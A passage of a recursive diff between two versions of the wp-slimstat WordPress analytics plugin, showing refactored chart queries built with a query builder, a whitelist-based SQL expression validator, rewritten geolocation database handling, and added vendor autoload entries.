ASC, period ASC');\n+\n+        \u002F\u002F Build totals query via Query builder\n+        \u002F\u002F No CONVERT_TZ needed for totals - dt is already stored as UTC timestamp and filters use UTC\n+    $totalsFields = sprintf(\"%s AS v1, %s AS v2, CASE WHEN dt BETWEEN %s AND %s THEN 'current' ELSE 'previous' END AS period\", $data1, $data2, $start, $end);\n+    \u002F\u002F Ensure totals WHERE uses grouped OR so filters are applied correctly.\n+    $totalsWhere  = '((dt BETWEEN %d AND %d) OR (dt BETWEEN %d AND %d))';\n+        $totalsQuery  = Query::select($totalsFields)\n+            ->from($wpdb->prefix . 'slim_stats')\n+            ->whereRaw($totalsWhere, [$prevArgs['start'], $prevArgs['end'], $start, $end]);\n+\n+        \u002F\u002F Apply additional filters if any\n+        if (!empty($filterWhere)) {\n+            $totalsQuery->whereRaw($filterWhere);\n+        }\n+\n+        $totalsQuery->groupBy('period')\n+            ->orderBy('period ASC');\n \n         return [\n-            'sql'       => $sql,\n-            'totalsSql' => $totalsSql,\n-            'params'    => ['label' => $periods[$gran]['label'], 'gran' => $gran],\n+            'query'       => $rowsQuery,\n+            'totalsQuery' => $totalsQuery,\n+            'params'      => ['label' => $periods[$gran]['label'], 'gran' => $gran],\n         ];\n     }\n \n     \u002F**\n+     * Build WHERE clause from active filters (excluding time filters)\n+     *\n+     * @return string SQL WHERE clause conditions or empty string\n+     *\u002F\n+    private function buildFilterWhere(): string\n+    {\n+        if (!class_exists('\\wp_slimstat_db')) {\n+            return '';\n+        }\n+\n+        \u002F\u002F Get active filters (excluding time filters)\n+        if (empty(\\wp_slimstat_db::$filters_normalized['columns'])) {\n+            return '';\n+        }\n+\n+        $whereClauses = [];\n+\n+        foreach (\\wp_slimstat_db::$filters_normalized['columns'] as $column => $filterData) {\n+            \u002F\u002F Skip addon filters\n+            if (false !== strpos($column, 'addon_')) {\n+                continue;\n+            }\n+\n+            $operator = $filterData[0] ?? 'equals';\n+            $value    = $filterData[1] ?? '';\n+\n+            $clause = \\wp_slimstat_db::get_single_where_clause($column, $operator, $value);\n+\n+            if (!empty($clause)) {\n+                $whereClauses[] = $clause;\n+            }\n+        }\n+\n+        if (empty($whereClauses)) {\n+            return '';\n+        }\n+\n+        return implode(' AND ', $whereClauses);\n+    }\n+\n+    \u002F**\n      * Validates SQL expressions to prevent SQL injection attacks.\n      * Uses a predefined metrics system for maximum security.\n-     * \n+     *\n      * @param string $expression The SQL expression to validate\n      * @return string The safe SQL expression\n      * @throws \\Exception If the expression is invalid or potentially malicious\n@@ -341,82 +436,99 @@\n     private function validateSqlExpression(string $expression): string\n     {\n         global $wpdb;\n-        \n+\n         \u002F\u002F Remove extra whitespace and normalize\n         $expression = preg_replace('\u002F\\s+\u002F', ' ', trim($expression));\n-        \n+\n         \u002F\u002F Empty expressions default to COUNT(*)\n         if (empty($expression)) {\n             return 'COUNT(*)';\n         }\n-        \n+\n         \u002F\u002F Define allowed columns from wp_slim_stats table\n         $allowedColumns = [\n             'id', 'ip', 'other_ip', 'username', 'email',\n             'country', 'location', 'city',\n-            'referer', 'resource', 'searchterms', 'notes', 'visit_id', \n+            'referer', 'resource', 'searchterms', 'notes', 'visit_id',\n             'server_latency', 'page_performance',\n-            'browser', 'browser_version', 'browser_type', 'platform', \n+            'browser', 'browser_version', 'browser_type', 'platform',\n             'language', 'fingerprint', 'user_agent',\n             'resolution', 'screen_width', 'screen_height',\n             'content_type', 'category', 'author', 'content_id',\n             'outbound_resource',\n             'tz_offset', 'dt_out', 'dt'\n         ];\n-        \n+\n         \u002F\u002F Define allowed aggregate functions\n         $allowedFunctions = ['COUNT', 'SUM', 'AVG', 'MAX', 'MIN'];\n-        \n+\n         \u002F\u002F Strict pattern matching with anchors to prevent bypass attempts\n         \u002F\u002F Pattern 1: COUNT(*) or SUM(*) etc (no spaces allowed in function name)\n         if (preg_match('\u002F^(COUNT|SUM|AVG|MAX|MIN)\\s*\\(\\s*\\*\\s*\\)$\u002Fi', $expression, $matches)) {\n             $function = strtoupper($matches[1]);\n             return $function . '(*)';\n         }\n-        \n+\n         \u002F\u002F Pattern 2: COUNT(column) or COUNT( column )\n         if (preg_match('\u002F^(COUNT|SUM|AVG|MAX|MIN)\\s*\\(\\s*([a-z_][a-z0-9_]*)\\s*\\)$\u002Fi', $expression, $matches)) {\n             $function = strtoupper($matches[1]);\n             $column = strtolower($matches[2]);\n-            \n+\n             if (!in_array($function, $allowedFunctions, true)) {\n                 throw new \\Exception(__('Invalid SQL function in chart data expression', 'wp-slimstat'));\n             }\n-            \n+\n             if (!in_array($column, $allowedColumns, true)) {\n                 throw new \\Exception(__('Invalid column name in chart data expression', 'wp-slimstat'));\n             }\n-            \n+\n             \u002F\u002F Use esc_sql as additional protection (though column is whitelisted)\n             return $function . '( ' . esc_sql($column) . ' )';\n         }\n-        \n+\n         \u002F\u002F Pattern 3: COUNT(DISTINCT column) or COUNT( DISTINCT column )\n         if (preg_match('\u002F^(COUNT|SUM|AVG|MAX|MIN)\\s*\\(\\s*DISTINCT\\s+([a-z_][a-z0-9_]*)\\s*\\)$\u002Fi', $expression, $matches)) {\n             $function = strtoupper($matches[1]);\n             $column = strtolower($matches[2]);\n-            \n+\n             if (!in_array($function, $allowedFunctions, true)) {\n                 throw new \\Exception(__('Invalid SQL function in chart data expression', 'wp-slimstat'));\n             }\n-            \n+\n             if (!in_array($column, $allowedColumns, true)) {\n                 throw new \\Exception(__('Invalid column name in chart data expression', 'wp-slimstat'));\n             }\n-            \n+\n             \u002F\u002F Use esc_sql as additional protection (though column is whitelisted)\n             return $function . '( DISTINCT ' . esc_sql($column) . ' )';\n         }\n-        \n+\n         \u002F\u002F If none of the patterns match, reject the expression\n         throw new \\Exception(__('Invalid SQL expression in chart data. Only whitelisted aggregate functions on valid columns are allowed.', 'wp-slimstat'));\n     }\n \n     private function processResults(array $rows, array $totals, array $params, int $start, int $end, int $prevStart, int $prevEnd): array\n     {\n-        $buckets = new DataBuckets($params['label'], $params['gran'], $start, $end, $prevStart, $prevEnd, $totals);\n+        \u002F\u002F Normalize totals to array of stdClass for backward compatibility\n+        $totalsObjects = array_map(function ($t) {\n+            if (is_object($t)) {\n+                return $t;\n+            }\n+\n+            $o         = new \\stdClass();\n+            $o->v1     = isset($t['v1']) ? (int) $t['v1'] : 0;\n+            $o->v2     = isset($t['v2']) ? (int) $t['v2'] : 0;\n+            $o->period = isset($t['period']) ? (string) $t['period'] : '';\n+            return $o;\n+        }, $totals);\n+\n+        $buckets = new DataBuckets($params['label'], $params['gran'], $start, $end, $prevStart, $prevEnd, $totalsObjects);\n         foreach ($rows as $row) {\n-            $buckets->addRow((int) $row->dt, (int) $row->v1, (int) $row->v2, (string) $row->period);\n+            $dt     = (int) (is_object($row) ? $row->dt : ($row['dt'] ?? 0));\n+            $v1     = (int) (is_object($row) ? $row->v1 : ($row['v1'] ?? 0));\n+            $v2     = (int) (is_object($row) ? $row->v2 : ($row['v2'] ?? 0));\n+            $period = (string) (is_object($row) ? $row->period : ($row['period'] ?? ''));\n+            $buckets->addRow($dt, $v1, $v2, $period);\n         }\n \n         return $buckets->toArray();\n@@ -438,14 +550,14 @@\n             plugins_url('\u002Fadmin\u002Fassets\u002Fjs\u002Fchartjs\u002Fchart.min.js', SLIMSTAT_FILE),\n             [],\n             '4.2.1',\n-            false\n+            true\n         );\n         wp_enqueue_script(\n             'slimstat_chart',\n             plugins_url('\u002Fadmin\u002Fassets\u002Fjs\u002Fslimstat-chart.js', SLIMSTAT_FILE),\n             ['slimstat_chartjs'],\n             '1.0',\n-            false\n+            true\n         );\n         wp_localize_script('slimstat_chart', 'slimstat_chart_vars', [\n             \u002F\u002F Use a relative admin-ajax path for the admin chart to avoid cross-origin issues in dev setups\n@@ -468,4 +580,14 @@\n             'translations' => $this->translations,\n         ]);\n     }\n+\n+    \u002F**\n+     * Get supported chart types\n+     *\n+     * @return array\u003Cstring>\n+     *\u002F\n+    public static function get_supported_chart_types(): array\n+    {\n+        return self::CHART_TYPES;\n+    }\n }\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fsrc\u002FProviders: IPHashProvider.php\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fsrc\u002FProviders: RestApiManager.php\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fsrc\u002FProviders: RESTService.php\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fsrc: Reports\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fsrc\u002FServices: Admin\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fsrc\u002FServices\u002FBrowscap.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fsrc\u002FServices\u002FBrowscap.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fsrc\u002FServices\u002FBrowscap.php\t2025-08-25 08:38:44.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fsrc\u002FServices\u002FBrowscap.php\t2026-03-08 13:29:08.000000000 +0000\n@@ -195,6 +195,7 @@\n \n     protected static function _get_user_agent()\n     {\n+\n         $user_agent = (empty($_SERVER['HTTP_USER_AGENT']) ? '' : trim($_SERVER['HTTP_USER_AGENT']));\n         $real_user_agent = '';\n         if (!empty($_SERVER['HTTP_X_DEVICE_USER_AGENT'])) {\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fsrc\u002FServices: Compliance\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fsrc\u002FServices: CronEventManager.php\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fsrc\u002FServices: GDPRService.php\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fsrc\u002FServices: GeoIP.php\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fsrc\u002FServices: Geolocation\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fsrc\u002FServices\u002FGeoService.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fsrc\u002FServices\u002FGeoService.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fsrc\u002FServices\u002FGeoService.php\t2025-08-25 08:38:44.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fsrc\u002FServices\u002FGeoService.php\t2026-03-08 13:29:08.000000000 +0000\n@@ -2,7 +2,7 @@\n \n namespace SlimStat\\Services;\n \n-use SlimStat\\Utils\\MaxMindReader;\n+use SlimStat\\Dependencies\\GeoIp2\\Database\\Reader;\n \n class GeoService\n {\n@@ -34,7 +34,10 @@\n \n     public function getPack()\n     {\n-        return empty($this->pack) ? GeoIP::get_pack() : $this->pack;\n+        if (!empty($this->pack)) {\n+            return $this->pack;\n+        }\n+        return ('on' == \\wp_slimstat::$settings['geolocation_country']) ? 'country' : 'city';\n     }\n \n     public function setEnableMaxmind($enableMaxmind = false)\n@@ -94,51 +97,50 @@\n         return false;\n     }\n \n-    public function download()\n-    {\n-        try {\n-            if ($this->isGeoIPEnabled()) {\n-\n-                $args = [\n-                    'update' => $this->update,\n-                ];\n-\n-                if ($this->isMaxMindEnabled() && !empty($this->getMaxMindLicenseKey())) {\n-                    $args['enable_maxmind']      = 'on';\n-                    $args['maxmind_license_key'] = $this->getMaxMindLicenseKey();\n-                }\n-\n-                $response = GeoIP::download($this->getPack(), $args);\n-            } else {\n-                $response = [\n-                    'status' => false,\n-                    'error'  => __('GeoIP is disabled. Please first choose GeoIP Database Source and save settings!', 'wp-slimstat'),\n+\tpublic function download()\n+\t{\n+\t\ttry {\n+\t\t\t$provider = \\wp_slimstat::$settings['geolocation_provider'] ?? 'maxmind';\n+\t\t\tif (in_array($provider, ['maxmind', 'dbip'], true)) {\n+                \u002F\u002F GeolocationService reads settings automatically\n+                $service = new \\SlimStat\\Services\\Geolocation\\GeolocationService($provider, []);\n+                $ok      = $service->updateDatabase();\n+                return [\n+                    'status' => (bool) $ok,\n+                    'notice' => $ok ? __('GeoIP Database Successfully Updated!', 'wp-slimstat') : __('Failed to update GeoIP Database.', 'wp-slimstat'),\n                 ];\n             }\n+            return [ 'status' => false, 'error' => __('GeoIP is disabled. Please choose a DB-based provider and save settings.', 'wp-slimstat') ];\n         } catch (\\Exception $exception) {\n             $this->logError($exception->getMessage());\n-\n-            $response = [\n-                'status' => false,\n-                'error'  => $exception->getMessage(),\n-            ];\n+            return [ 'status' => false, 'error' => $exception->getMessage() ];\n         }\n-\n-        return $response;\n     }\n \n-    \u002F**\n-     * @throws \\Exception\n-     *\u002F\n-    public function checkDatabase()\n-    {\n-        try {\n-            if (!GeoIP::database_exists()) {\n+\t\u002F**\n+\t * @throws \\Exception\n+\t *\u002F\n+\tpublic function checkDatabase()\n+\t{\n+\t\ttry {\n+\t\t\t$provider = \\wp_slimstat::$settings['geolocation_provider'] ?? 'maxmind';\n+            \u002F\u002F GeolocationService reads settings automatically\n+            $service = new \\SlimStat\\Services\\Geolocation\\GeolocationService($provider, []);\n+            $dbPath  = $service->getProvider()->getDbPath();\n+            if (!file_exists($dbPath)) {\n                 throw new \\Exception(__('GeoIP database not found!', 'wp-slimstat'));\n             }\n \n-            $reader = new MaxMindReader(GeoIP::get_database_file());\n-            $reader->get($this->getUserIP());\n+            $reader = new Reader($dbPath);\n+            $ip = $this->getUserIP();\n+\n+            \u002F\u002F Determine which method to use based on database type\n+            $precision = $this->getPack();\n+            if ('city' === $precision) {\n+                $reader->city($ip);\n+            } else {\n+                $reader->country($ip);\n+            }\n \n             $response = [\n                 'status' => true,\n@@ -161,11 +163,14 @@\n         wp_clear_scheduled_hook('wp_slimstat_update_geoip_database');\n     }\n \n-    public function deleteDatabaseFile()\n-    {\n-        if (GeoIP::database_exists()) {\n-            $databaseFilePath = GeoIP::get_database_file();\n-            @unlink($databaseFilePath);\n+\tpublic function deleteDatabaseFile()\n+\t{\n+\t\t$provider = \\wp_slimstat::$settings['geolocation_provider'] ?? 'maxmind';\n+        \u002F\u002F GeolocationService reads settings automatically\n+        $service = new \\SlimStat\\Services\\Geolocation\\GeolocationService($provider, []);\n+        $dbPath  = $service->getProvider()->getDbPath();\n+        if (is_file($dbPath)) {\n+            @unlink($dbPath);\n         }\n     }\n \nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fsrc\u002FServices: Privacy\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fsrc\u002FServices: Privacy.php\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fsrc: Tracker\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fsrc\u002FUtils: Consent.php\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fsrc\u002FUtils: InvalidDatabaseException.php\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fsrc\u002FUtils: MaxMindDecoder.php\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fsrc\u002FUtils: MaxMindMetadata.php\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fsrc\u002FUtils: MaxMindReader.php\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fsrc\u002FUtils: MaxMindUtil.php\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fsrc\u002FUtils: Query.php\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fsrc\u002FUtils: Request.php\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fsrc: view\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fvendor\u002Fcomposer\u002Fautoload_classmap.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fvendor\u002Fcomposer\u002Fautoload_classmap.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fvendor\u002Fcomposer\u002Fautoload_classmap.php\t2025-08-25 08:38:44.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fvendor\u002Fcomposer\u002Fautoload_classmap.php\t2026-03-08 13:29:08.000000000 +0000\n@@ -6,8 +6,281 @@\n $baseDir = dirname($vendorDir);\n \n return array(\n+    'Attribute' => $vendorDir . '\u002Fsymfony\u002Fpolyfill-php80\u002FResources\u002Fstubs\u002FAttribute.php',\n+    'BrowscapPHP\\\\Browscap' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FBrowscap.php',\n+    'BrowscapPHP\\\\BrowscapInterface' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FBrowscapInterface.php',\n+    'BrowscapPHP\\\\BrowscapUpdater' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FBrowscapUpdater.php',\n+    'BrowscapPHP\\\\BrowscapUpdaterInterface' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FBrowscapUpdaterInterface.php',\n+    'BrowscapPHP\\\\Cache\\\\BrowscapCache' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FCache\u002FBrowscapCache.php',\n+    'BrowscapPHP\\\\Cache\\\\BrowscapCacheInterface' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FCache\u002FBrowscapCacheInterface.php',\n+    'BrowscapPHP\\\\Command\\\\CheckUpdateCommand' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FCommand\u002FCheckUpdateCommand.php',\n+    'BrowscapPHP\\\\Command\\\\ConvertCommand' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FCommand\u002FConvertCommand.php',\n+    'BrowscapPHP\\\\Command\\\\FetchCommand' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FCommand\u002FFetchCommand.php',\n+    'BrowscapPHP\\\\Command\\\\ParserCommand' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FCommand\u002FParserCommand.php',\n+    'BrowscapPHP\\\\Command\\\\UpdateCommand' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FCommand\u002FUpdateCommand.php',\n+    'BrowscapPHP\\\\Data\\\\PropertyFormatter' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FData\u002FPropertyFormatter.php',\n+    'BrowscapPHP\\\\Data\\\\PropertyHolder' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FData\u002FPropertyHolder.php',\n+    'BrowscapPHP\\\\Exception' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FException.php',\n+    'BrowscapPHP\\\\Exception\\\\DomainException' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FException\u002FDomainException.php',\n+    'BrowscapPHP\\\\Exception\\\\ErrorCachedVersionException' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FException\u002FErrorCachedVersionException.php',\n+    'BrowscapPHP\\\\Exception\\\\ErrorReadingFileException' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FException\u002FErrorReadingFileException.php',\n+    'BrowscapPHP\\\\Exception\\\\FetcherException' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FException\u002FFetcherException.php',\n+    'BrowscapPHP\\\\Exception\\\\FileNameMissingException' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FException\u002FFileNameMissingException.php',\n+    'BrowscapPHP\\\\Exception\\\\FileNotFoundException' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FException\u002FFileNotFoundException.php',\n+    'BrowscapPHP\\\\Exception\\\\InvalidArgumentException' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FException\u002FInvalidArgumentException.php',\n+    'BrowscapPHP\\\\Exception\\\\NoCachedVersionException' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FException\u002FNoCachedVersionException.php',\n+    'BrowscapPHP\\\\Exception\\\\NoNewVersionException' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FException\u002FNoNewVersionException.php',\n+    'BrowscapPHP\\\\Formatter\\\\FormatterInterface' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FFormatter\u002FFormatterInterface.php',\n+    'BrowscapPHP\\\\Formatter\\\\LegacyFormatter' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FFormatter\u002FLegacyFormatter.php',\n+    'BrowscapPHP\\\\Formatter\\\\PhpGetBrowser' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FFormatter\u002FPhpGetBrowser.php',\n+    'BrowscapPHP\\\\Helper\\\\Converter' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FHelper\u002FConverter.php',\n+    'BrowscapPHP\\\\Helper\\\\ConverterInterface' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FHelper\u002FConverterInterface.php',\n+    'BrowscapPHP\\\\Helper\\\\Exception' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FHelper\u002FException.php',\n+    'BrowscapPHP\\\\Helper\\\\Filesystem' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FHelper\u002FFilesystem.php',\n+    'BrowscapPHP\\\\Helper\\\\IniLoader' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FHelper\u002FIniLoader.php',\n+    'BrowscapPHP\\\\Helper\\\\IniLoaderInterface' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FHelper\u002FIniLoaderInterface.php',\n+    'BrowscapPHP\\\\Helper\\\\LoggerHelper' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FHelper\u002FLoggerHelper.php',\n+    'BrowscapPHP\\\\Helper\\\\Quoter' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FHelper\u002FQuoter.php',\n+    'BrowscapPHP\\\\Helper\\\\QuoterInterface' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FHelper\u002FQuoterInterface.php',\n+    'BrowscapPHP\\\\Helper\\\\Support' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FHelper\u002FSupport.php',\n+    'BrowscapPHP\\\\Helper\\\\SupportInterface' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FHelper\u002FSupportInterface.php',\n+    'BrowscapPHP\\\\IniParser\\\\IniParser' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FIniParser\u002FIniParser.php',\n+    'BrowscapPHP\\\\IniParser\\\\ParserInterface' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FIniParser\u002FParserInterface.php',\n+    'BrowscapPHP\\\\Parser\\\\Helper\\\\GetData' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FParser\u002FHelper\u002FGetData.php',\n+    'BrowscapPHP\\\\Parser\\\\Helper\\\\GetDataInterface' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FParser\u002FHelper\u002FGetDataInterface.php',\n+    'BrowscapPHP\\\\Parser\\\\Helper\\\\GetPattern' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FParser\u002FHelper\u002FGetPattern.php',\n+    'BrowscapPHP\\\\Parser\\\\Helper\\\\GetPatternInterface' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FParser\u002FHelper\u002FGetPatternInterface.php',\n+    'BrowscapPHP\\\\Parser\\\\Helper\\\\Pattern' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FParser\u002FHelper\u002FPattern.php',\n+    'BrowscapPHP\\\\Parser\\\\Helper\\\\SubKey' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FParser\u002FHelper\u002FSubKey.php',\n+    'BrowscapPHP\\\\Parser\\\\Ini' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FParser\u002FIni.php',\n+    'BrowscapPHP\\\\Parser\\\\ParserInterface' => $vendorDir . '\u002Fveronalabs\u002Fbrowscap-php\u002Fsrc\u002FParser\u002FParserInterface.php',\n     'Composer\\\\InstalledVersions' => $vendorDir . '\u002Fcomposer\u002FInstalledVersions.php',\n+    'GuzzleHttp\\\\BodySummarizer' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FBodySummarizer.php',\n+    'GuzzleHttp\\\\BodySummarizerInterface' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FBodySummarizerInterface.php',\n+    'GuzzleHttp\\\\Client' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FClient.php',\n+    'GuzzleHttp\\\\ClientInterface' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FClientInterface.php',\n+    'GuzzleHttp\\\\ClientTrait' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FClientTrait.php',\n+    'GuzzleHttp\\\\Cookie\\\\CookieJar' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FCookie\u002FCookieJar.php',\n+    'GuzzleHttp\\\\Cookie\\\\CookieJarInterface' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FCookie\u002FCookieJarInterface.php',\n+    'GuzzleHttp\\\\Cookie\\\\FileCookieJar' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FCookie\u002FFileCookieJar.php',\n+    'GuzzleHttp\\\\Cookie\\\\SessionCookieJar' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FCookie\u002FSessionCookieJar.php',\n+    'GuzzleHttp\\\\Cookie\\\\SetCookie' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FCookie\u002FSetCookie.php',\n+    'GuzzleHttp\\\\Exception\\\\BadResponseException' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FException\u002FBadResponseException.php',\n+    'GuzzleHttp\\\\Exception\\\\ClientException' => $vendorDir . '\u002Fguzzlehttp\u002Fguzzle\u002Fsrc\u002FException\u002FClientException.php',\n+    'GuzzleHttp\\\\Exception\\\\ConnectException' => $vendorDir . 